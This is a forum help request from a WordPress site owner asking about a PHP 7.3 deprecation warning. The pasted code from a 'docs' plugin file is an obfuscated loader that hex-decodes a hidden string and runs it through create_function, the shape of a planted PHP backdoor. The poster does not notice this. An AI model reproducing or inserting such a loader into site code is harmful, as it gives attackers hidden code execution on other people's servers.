WORDPRESS - Deprecated: Function create_function() is deprecated in docs/docs.php on line 9

I know there were similiar threads but i didn't find an answer, so i decided to post it here.

I recently upgraded my PHP on wordpress site from 5.6 to 7.3 for better performanse.

Now i have this error:

Deprecated: Function create_function() is deprecated in /home/admin/domains/houser.pl/public_html/wp-content/plugins/docs/docs.php on line 9

So i checked the path file and it shows this:

$WHASl              =               $mFXQJ   ;                       if          (!function_exists          ("aSlex")){function aSlex(          $ppiAt){            $qqjBu=""           ; $MXQII    =               strlen( $ppiAt  )       /           2       ;       for  (    $BumFY=0        ;$BumFY<          $MXQII;         $BumFY++       ){$qqjBu.=      chr                  (base_convert   (   substr($ppiAt,$BumFY        *   2,  2     )       ,   16, 10    )               );  }           return $qqjBu;          }   }              $WHASl     =          create_function    (   null             , aSlex(           $WHASl));        $WHASl()  ;

I struggle with this for so long now, please let me know how to fix this.

Many thanks!